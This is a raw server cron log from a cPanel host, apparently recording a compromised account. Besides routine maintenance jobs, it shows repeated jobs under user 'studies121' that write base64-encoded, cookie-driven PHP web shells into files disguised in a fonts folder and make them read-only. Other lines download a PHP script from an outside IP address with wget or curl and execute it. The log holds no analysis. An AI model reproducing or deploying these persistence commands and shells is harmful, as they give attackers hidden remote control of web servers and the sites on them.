Sep  8 01:22:01 ip-184-168-122-23 CROND[17081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:22:01 ip-184-168-122-23 CROND[17083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:23:01 ip-184-168-122-23 CROND[17249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:23:01 ip-184-168-122-23 CROND[17251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:23:01 ip-184-168-122-23 CROND[17252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:23:01 ip-184-168-122-23 CROND[17250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:24:01 ip-184-168-122-23 CROND[17336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:24:01 ip-184-168-122-23 CROND[17339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:24:01 ip-184-168-122-23 CROND[17340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:24:01 ip-184-168-122-23 CROND[17338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:24:01 ip-184-168-122-23 CROND[17341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:25:01 ip-184-168-122-23 CROND[17422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:25:01 ip-184-168-122-23 CROND[17423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:25:01 ip-184-168-122-23 CROND[17426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:25:01 ip-184-168-122-23 CROND[17425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:25:01 ip-184-168-122-23 CROND[17427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:25:01 ip-184-168-122-23 CROND[17428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:26:01 ip-184-168-122-23 CROND[17517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:26:01 ip-184-168-122-23 CROND[17519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:26:01 ip-184-168-122-23 CROND[17520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:26:01 ip-184-168-122-23 CROND[17518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:26:01 ip-184-168-122-23 CROND[17521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:27:01 ip-184-168-122-23 CROND[17599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:27:01 ip-184-168-122-23 CROND[17601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:27:01 ip-184-168-122-23 CROND[17600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:27:01 ip-184-168-122-23 CROND[17602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:28:01 ip-184-168-122-23 CROND[17764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:28:01 ip-184-168-122-23 CROND[17766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:28:01 ip-184-168-122-23 CROND[17767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:28:01 ip-184-168-122-23 CROND[17768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:28:01 ip-184-168-122-23 CROND[17769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:29:01 ip-184-168-122-23 CROND[17861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:29:01 ip-184-168-122-23 CROND[17864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:29:01 ip-184-168-122-23 CROND[17862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:29:01 ip-184-168-122-23 CROND[17863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:30:01 ip-184-168-122-23 CROND[17950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:30:02 ip-184-168-122-23 CROND[17953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:30:02 ip-184-168-122-23 CROND[17954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:30:02 ip-184-168-122-23 CROND[17957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:30:02 ip-184-168-122-23 CROND[17958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:30:02 ip-184-168-122-23 CROND[17959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:30:02 ip-184-168-122-23 CROND[17960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:30:02 ip-184-168-122-23 CROND[17962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:31:01 ip-184-168-122-23 CROND[18058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:31:01 ip-184-168-122-23 CROND[18061]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 01:31:01 ip-184-168-122-23 CROND[18060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:31:01 ip-184-168-122-23 CROND[18062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:31:01 ip-184-168-122-23 CROND[18059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:32:01 ip-184-168-122-23 CROND[18141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:32:01 ip-184-168-122-23 CROND[18143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:32:01 ip-184-168-122-23 CROND[18144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:32:01 ip-184-168-122-23 CROND[18147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:32:01 ip-184-168-122-23 CROND[18146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:33:01 ip-184-168-122-23 CROND[18223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:33:01 ip-184-168-122-23 CROND[18225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:33:01 ip-184-168-122-23 CROND[18226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:33:01 ip-184-168-122-23 CROND[18224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:34:01 ip-184-168-122-23 CROND[18305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:34:01 ip-184-168-122-23 CROND[18307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:34:01 ip-184-168-122-23 CROND[18309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:34:01 ip-184-168-122-23 CROND[18308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
